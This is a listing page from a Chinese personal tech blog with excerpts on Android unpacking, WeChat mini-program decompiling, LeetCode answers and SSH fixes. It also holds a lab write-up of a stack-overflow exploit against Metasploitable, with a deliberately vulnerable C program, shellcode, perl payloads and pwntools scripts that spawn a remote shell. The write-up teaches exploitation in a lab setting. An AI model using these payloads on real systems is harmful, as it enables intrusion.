首页
文章分类
逆向网安
中英演讲
杂类教程
学习笔记
前端开发
汇编
数据库
.NET
服务器
Python
Java
PHP
Git
算法
安卓开发
生活记录
读书笔记
作品发布
人体健康
网上邻居
留言板
欣赏小姐姐
关于我
Search
登录
1
利用AList搭建家庭个人影音库
4,661 阅读
2
浅尝Restful Fast Request插件,一句话完成 逆向过程
3,965 阅读
3
完美破解The Economist付费墙
2,734 阅读
4
i茅台app接口自动化csharp wpf实现,挂机windows服务器每日自动预约
2,611 阅读
5
青龙面板基本使用并添加修改微信/支付宝步数脚本
2,039 阅读
Search
标签搜索
PHP
Laravel
前端
csharp
安卓逆向
JavaScript
Python
Java
爬虫
抓包
Git
winform
android
Fiddler
Vue
selenium
LeetCode
每日一题
简单题
docker
Hygge
累计撰写
95
篇文章
累计收到
445
条评论
首页
栏目
逆向网安
中英演讲
杂类教程
学习笔记
前端开发
汇编
数据库
.NET
服务器
Python
Java
PHP
Git
算法
安卓开发
生活记录
读书笔记
作品发布
人体健康
页面
网上邻居
留言板
欣赏小姐姐
关于我
用户登录
搜索到
95
篇与
的结果
2024-03-02
Homestead中访问主机上的服务
在主机上部署了flask项目,homestead通过内部访问10.0.2.2:port就可以访问。
2024年03月02日
131 阅读
0 评论
0 点赞
2024-02-12
Flurl4.0 应用handler
https://github.com/tmenier/Flurl/issues/346handler定义:public class PollyHandler : DelegatingHandler { private readonly IAsyncPolicy<HttpResponseMessage> _policy; public PollyHandler(IAsyncPolicy<HttpResponseMessage> policy) { _policy = policy; } protected override Task<HttpResponseMessage> SendAsync(HttpRequestMessage request, CancellationToken cancellationToken) { return _policy.ExecuteAsync(ct => base.SendAsync(request, ct), cancellationToken); } }配置var policy = Policy .Handle<HttpRequestException>() .OrResult<HttpResponseMessage>(r => !r.IsSuccessStatusCode) .RetryAsync(5); FlurlHttp.Clients.WithDefaults(clientBuilder => clientBuilder.AddMiddleware(() => new PollyHandler (policy)));
2024年02月12日
125 阅读
0 评论
0 点赞
2024-01-08
frida-dexdump简单脱壳
一、安装Pip install frida-tools Pip install frida-dexdump安装frida-tools可能会报错,提示C:\Users\Nmae/frida-15.1.17-py3.10-win-amd64.egg不存在,手动pypi上下载后放到该位置,即可安装成功。二、脱壳Frida-ps -U #查看手机进程(检查是否成功连接frida-server) https://github.com/hluwa/frida-dexdump Frida-dexdump #简单脱壳(需应用正在运行) a. frida-dexdump -FU 快速转存前台应用程序 b. frida-dexdump -U -f com.app.pkgname #转存指定应用程序 i. -o OUTPUT, --output OUTPUT Output folder path, default is './<appname>/'. ii. -d, --deep-search Enable deep search mode. iii. --sleep SLEEP Waiting times for start, spawn mode default is 5s.
2024年01月08日
209 阅读
0 评论
0 点赞
2024-01-03
夜神模拟器9安装Magisk和LSPosed
夜神模拟器9安装Magisk和LSPosed以及TrustMeAlready前言在安卓模拟器安装 Magisk 和 Xposed。在解锁越来越难和缺少测试机等各种情况下,在模拟器上使用 Magisk 是更方便的选择。模拟器一键化备份和重置下,可随意的修改 Android 系统的模块,使用未知的插件也不用担心系统无法启动、无限重启、机器被勒索,而重新刷机的时间成本。what is Magisk?Magisk 是 Android 的底层 ROOT 和 HOOK 方案,实现方法是 Magisk 将 boot.img 刷入 BOOT 分区后,magiskinit 引导 Android 系统启动,劫持 Zygote 进程,达到 HOOK 任意程序行为。what is Xposed?Xposed 是安卓逆向定制圈的老将,拥有丰富的生态和众多的论坛,它与 Magisk 功能相似,但实现方式却大为不同。Xposed 可作为 Magisk 模块安装,Magisk 更底层实现方式使得它拥有更强的隐藏能力和提供更底层的接口,搭配 Xposed 强大的生态,让各种定制技术层出不穷。教程开始Magisk 在 x86 架构有许多的开源方案,这次使用的是 MagiskOnEmu。经过测试,在夜神的安卓 9 完美安装,安卓 7 或其他模拟器都有许多未知的问题,这次就在安卓 9 下安装 magisk 和兼容 xposed 的 lsposed。准备文件夜神模拟器Magisk.Terminal.Emulator.apkLSPosed-v1.8.2-6519-zygisk-release.zip{cloud title="下载地址" type="bd" url="https://pan.baidu.com/s/1pGK7SmcEGA20e3nu2Gbncw?pwd=zkis " password="zkis"/}链接:https://pan.baidu.com/s/1pGK7SmcEGA20e3nu2Gbncw?pwd=zkis 提取码:zkis --来自百度网盘超级会员V6的分享安装最新的夜神模拟器,选择安卓 9,先开启 root 权限。安装 Magisk.Terminal.Emulator.apk启动 Magisk.Terminal.Emulator 输入 m 进入安装输入 y 获取 root 权限需要允许授权进入安装界面 输入 1 安装 Magisk这里有两种安装方式 在线安装和离线安装 在线安装需要连接 GitHub,配置代理,这里选择离线安装选 a选择 1 安装到 system 分区安装过程很快回车返回到安装界面 输入e导出安装Magisk apk安装完成后 重启模拟器,看到 Magisk 在桌面更新下载完整版本启动 Magisk提示检测到其他超级用户程序这是因为现在 root 被夜神模拟器接管 确定Magisk 已经安装成功点击右上角设置 使用 Zygisk 模块到模块菜单 安装 lsposed 框架不解压 lsposed 压缩包 选择 LSPosed安装完成关闭模拟器 root 权限后重启模拟器打开 Magisk 查看日志 LSPosed 已经成功加载桌面如果没有 LSPosed 从压缩包解压安装LSPosed 成功检测到 Zygisk 框架查看 LSPosed 的模块,也可以安装其他 xposed 模块。引用1.安卓逆向|Magisk Installhttps://m.freebuf.com/articles/mobile/331346.html2.雷电模拟器9安装Magisk+LSPosed教程https://www.52pojie.cn/thread-1688786-1-1.html3.夜神模拟器-Android 9安装Magisk+LSPosedhttps://blog.csdn.net/ZPFCD/article/details/131599710
2024年01月03日
487 阅读
0 评论
0 点赞
2023-12-31
力扣每日一题-1154. 一年中的第几天
给你一个字符串 date ,按 YYYY-MM-DD 格式表示一个 现行公元纪年法 日期。返回该日期是当年的第几天。示例 1:输入:date = "2019-01-09"输出:9解释:给定日期是2019年的第九天。示例 2:输入:date = "2019-02-10"输出:41提示:date.length == 10date[4] == date[7] == '-',其他的 date[i] 都是数字date 表示的范围从 1900 年 1 月 1 日至 2019 年 12 月 31 日我的答案:import java.time.LocalDate; class Solution { public int dayOfYear(String date) { LocalDate ld = LocalDate.parse(date); return ld.getDayOfYear(); } }
2023年12月31日
113 阅读
0 评论
0 点赞
2023-12-30
力扣每日一题-1185. 一周中的第几天
给你一个日期,请你设计一个算法来判断它是对应一周中的哪一天。输入为三个整数:day、month 和 year,分别表示日、月、年。您返回的结果必须是这几个值中的一个 {"Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"}。示例 1:输入:day = 31, month = 8, year = 2019输出:"Saturday"示例 2:输入:day = 18, month = 7, year = 1999输出:"Sunday"示例 3:输入:day = 15, month = 8, year = 1993输出:"Sunday"提示:给出的日期一定是在 1971 到 2100 年之间的有效日期。我的代码:import java.time.LocalDate; import java.time.DayOfWeek; class Solution { public String dayOfTheWeek(int day, int month, int year) { LocalDate ld = LocalDate.of(year,month,day); DayOfWeek dow = ld.getDayOfWeek(); String result = dow.toString(); return result.charAt(0) + result.substring(1).toLowerCase(); } }
2023年12月30日
124 阅读
0 评论
0 点赞
2023-12-29
力扣每日一题-2706. 购买两块巧克力
给你一个整数数组 prices ,它表示一个商店里若干巧克力的价格。同时给你一个整数 money ,表示你一开始拥有的钱数。你必须购买 恰好 两块巧克力,而且剩余的钱数必须是 非负数 。同时你想最小化购买两块巧克力的总花费。请你返回在购买两块巧克力后,最多能剩下多少钱。如果购买任意两块巧克力都超过了你拥有的钱,请你返回 money 。注意剩余钱数必须是非负数。示例 1:输入:prices = [1,2,2], money = 3输出:0解释:分别购买价格为 1 和 2 的巧克力。你剩下 3 - 3 = 0 块钱。所以我们返回 0 。示例 2:输入:prices = [3,2,3], money = 3输出:3解释:购买任意 2 块巧克力都会超过你拥有的钱数,所以我们返回 3 。提示:2 <= prices.length <= 501 <= prices[i] <= 1001 <= money <= 100我的解答:耗时:2msimport java.util.Arrays; class Solution { public int buyChoco(int[] prices, int money) { Arrays.sort(prices); int copyMoney = money; int i = 0; for (int price : prices) { if (i >= 2) break; if (price <= copyMoney) { copyMoney -= price; i++; } else break; } return i == 2 ? copyMoney : money; } }欣赏一个Stream流解决的:耗时7msimport java.util.Arrays; class Solution { public int buyChoco(int[] prices, int money) { int min = Arrays.stream(prices).sorted().limit(2).sum(); return min <= money ? money - min : money; } }
2023年12月29日
134 阅读
0 评论
0 点赞
2023-12-22
微信小程序逆向教程
小程序包提取1.PC端2.安卓端存储在这三个子目录中,可能有主包和子包基本使用安装node依赖npm install esprima -g npm install css-tree -g npm install cssbeautify -g npm install vm2 -g npm install uglify-es -g npm install js-beautify -g npm install escodegen -g当检测到 wxapkg 为子包时, 添加-s 参数指定主包源码路径即可自动将子包的 wxss,wxml,js 解析到主包的对应位置下. 完整流程大致如下:1.获取主包和若干子包2.解包主包 node wuWxapkg.js testpkg/master-shop.wxapkg3.若无子包则不需要: 解包子包 node wuWxapkg.js testpkg/sub-1-shop.wxapkg -s=../master-shop-s 参数可为相对路径或绝对路径, 推荐使用绝对路径, 因为相对路径的起点不是当前目录 而是子包解包后的目录├── testpkg │ ├── sub-1-shop.wxapkg #被解析子包 │ └── sub-1-shop #相对路径的起点 │ ├── app-service.js │ ├── master-shop.wxapkg │ └── master-shop # ../master-shop 就是这个目录 │ ├── app.json无视这个报错,把所有子包得到的文件全部复制到主包的项目目录下,即可得到一套完整的反编译代码。反编译问题汇总问题一:Cannot find module 'uglify-es'解决方案:提前安装所需的node依赖:npm install esprima --save npm install css-tree --save npm install cssbeautify --save npm install vm2 --save npm install uglify-es --save npm install js-beautify --save npm install escodegen --save问题二:Error: Magic number is not correct!解决方案:我是从电脑端微信客户端获取的wxapkg文件用网上的所有脚本都报magic number is not correct最后试了试原始的方法 用模拟器去获取wxapkg,就成了问题三:SyntaxError:Unexpected end of input解决方案:问题四:反编译子包遇到Error: ENOTDIR: not a directory, scandir解决方案:使用-s命令反编译子包时,可能也会报错:Error: ENOTDIR: not a directory, scandir。遇到这个报错可以不用管,运行完可以看下解出来的文件,实际上需要用到的东西已经解出来了。最后把所有子包得到的文件全部复制到主包的项目目录下,即可得到一套完整的反编译代码。引用1.反编译报错:Unexpected end of input:https://github.com/xdmjun/wxappUnpacker/issues/302.浅谈小程序逆向:https://blog.csdn.net/weixin_42545308/article/details/126890607使用-s命令反编译子包时,可能也会报错:Error: ENOTDIR: not a directory, scandir。遇到这个报错可以不用管,运行完可以看下解出来的文件,实际上需要用到的东西已经解出来了。3.wxappUnpacker1 GITHUB Repository:https://github.com/jas502n/wxappUnpacker14.获取微信小程序源码的三种方法:https://www.cnblogs.com/micr067/p/15524643.html5.小程序反编译的几点心得:https://blog.csdn.net/qq_41297837/article/details/103962564magic number is not correct
2023年12月22日
274 阅读
0 评论
0 点赞
2023-10-14
使用GDB调试本地栈溢出漏洞获得Root权限
攻防目标基于网络安全攻防实验环境,在Metasploitable2-Linux编译有漏洞的C语言程序,使用GDB进行动态调试,理解栈溢出本地漏洞的原理。使用pwntools构造远程漏洞,并使用kali进行攻击,理解远程漏洞原理。靶机和攻击机环境靶机系统 :Linux metasploitable 2.6.24-16-server攻击机: Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64 GNU/Linuxtask1: 在Metasploitable2-Linux编辑编译有漏洞的C语言源程序1.1 使用终端工具连接Linux,编辑overflow.c源程序#include <stdio.h> #include <string.h> int f() { char buf[32]; system("echo input"); return read(0,buf,100); } int main(int argc, char *argv[]){ f(); system("echo helloworld"); return 0; }函数f中故意制造栈溢出漏洞1.2 使用GCC编译源程序并执行a) #echo 0 > /proc/sys/kernel/randomize_va_space 禁止地址随机化功能b) #ulimit -c unlimited 让系统在错误时产生core文件c) #gcc -Wall -g -fno-stack-protector -o overflow overflow.c -m32 -Wl,-zexecstack 编译源程序d) # ./overflow 执行程序分别输入32个a,35个a,36个a,37个aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaatask2: 使用gdb反汇编调试有漏洞的C语言源程序gdb ./overflow core查看coredump文件,查看寄存器使用gdb反汇编overflow程序gdb ./overflow 打开程序(gdb) set disassembly-flavor intel //设置反汇编格式为intel(gdb) disassemble main //反汇编main函数(gdb) disassemble f //反汇编f()函数使用gdb跟踪调试程序(gdb) start //启动程序查看寄存器和内存step执行一行源代码进入f()函数内部next执行一行源代码不进入system("echo input")函数next执行一行源代码不进入return read(0,buf,100)函数输入aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccnext执行一行源代码,查看寄存器和内存,2.1 任务二分析首先在main函数执行中查看寄存器:此时main函数对应的栈顶指针和基址指针如下:寄存器值esp0xbffff880ebp0xbffff888eip0x80483e4单步进入f()函数内部,再次查看寄存器变化汇编中调用call指令,会将当前的ebp值入栈,将esp赋值给ebp(原先的栈顶变成栈底),然后将eip入栈寄存器值esp0xbffff840ebp0xbffff878eip0x80483aa继续next执行当读入一个长度大于32位的字符串, buf变量无法读取,此时查看内存区域使用命令:(gdb)x/32x 0xbffff84061为a的ascii码,当读完所有的a后,读b和c对应的ascii码分别为62和63此时存储b和c的内存单元分别为 函数的堆栈帧的基地址 和 当前函数执行完毕的返回地址图上可以发现这两处内存单元已经被篡改,继续单步执行,查看寄存器task3:构造shellcode攻击本地漏洞3.1 编辑汇编语言shell.asm输出字符串HACKBITS 32 start: xor eax,eax xor ebx,ebx xor ecx,ecx xor edx,edx mov bl,1 add esp,string - start mov ecx,esp mov dl,5 mov al,4 int 0x80 mov al,1 mov bl,1 dec bl int 0x80 string: db "HACK",0xa3.2 下载编译安装汇编语言工具(配置、编译、安装)https://launchpadlibrarian.net/18093887/nasm_0.99.06.orig.tar.gz 3.3 #nasm -o shell shell.asm汇编源程序3.4 #ndisasm shell反汇编获得机器码3.5、构造shellcode提交给漏洞程序执行perl -e 'printf "a"x32 . "b"x4 . "c"x4 . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a"' | ./overflow利用栈溢出 更改程序f函数的返回地址 输出 "Hack" 的效果6、#gdb ./overflow core 查看之前记录的f()函数对应的寄存器和内存此时0x63636363就是f()函数的返回地址只需要把这里的内容改为要跳转的恶意程序地址即可7、构造shellcode提交给漏洞程序执行perl -e 'printf "a"x32 . "b"x4 . "\xa0\xf8\xff\xbf" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a"' | ./overflowtask4:使用pwntools攻击远程漏洞1、在kali远程攻击Metasploitable2-Linuxa)在Metasploitable2-Linux监听123端口并绑定溢出程序root@metasploitable:~# nc -l -v -p 123 -e ./overflowb)在kali使用nc连接Metasploitable2 -Linux的123端口并发送shellcode(root㉿kali)-[~] nc 192.168.91.202 1232、在kali安装使用pwntools攻击Metasploitable2-Linuxa)#wget https://bootstrap.pypa.io/get-pip.py b)#python3 get-pip.pyc)#pip3 install pwntoolsd)在kali编辑exploit攻击脚本exp.pyfrom pwn import * p = remote('192.168.91.202','123') stackaddr = 0xbffff8a0 shellcode=b'\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a' payload = b'a' * 36 + p32(stackaddr) + shellcode p.send(payload) p.interactive()e)在Metasploitable2-Linux监听123端口并绑定溢出程序f)#python3 exp.py在kali执行exploit攻击脚本3、使用pwntools获得shella)在kali编辑exploit攻击脚本exp.pyfrom pwn import * p = remote('192.168.91.202','123') stackaddr = 0xbffff8a0 shellcode = asm(shellcraft.linux.sh(),arch='i386') payload = b'a' * 36 + p32(stackaddr) + shellcode p.send(payload) p.interactive()b)在Metasploitable2-Linux监听123端口并绑定溢出程序c)#python3 exp.py在kali执行exploit攻击脚本
2023年10月14日
230 阅读
0 评论
0 点赞
2023-10-06
服务器无法通过SSH连接Clone项目
给仓库部署了服务器上的SSH之后仍然无法Clone项目如下命令测试:ssh -T
[email protected]
也无法正常响应可能22端口出问题了,然后进入~/.ssh/目录下修改config文件,建议直接在终端中输入vim ~/.ssh/config,使用vim编辑器打开此文件,一般是为空,然后加上以下代码:# Default github user self Host github.com port 443 # 默认是22端口 HostName ssh.github.com IdentityFile ~/.ssh/id_rsa这样的话,github22端口超时的问题就解决了,证明ssh连接是没有问题的,这样github的项目可以正常的push和pull了。引用1."ssh:connect to host github.com port 22: Connection timed out"问题的解决:https://blog.csdn.net/qq_38330148/article/details/109371362
2023年10月06日
214 阅读
0 评论
1 点赞
1
2
3
4
...
10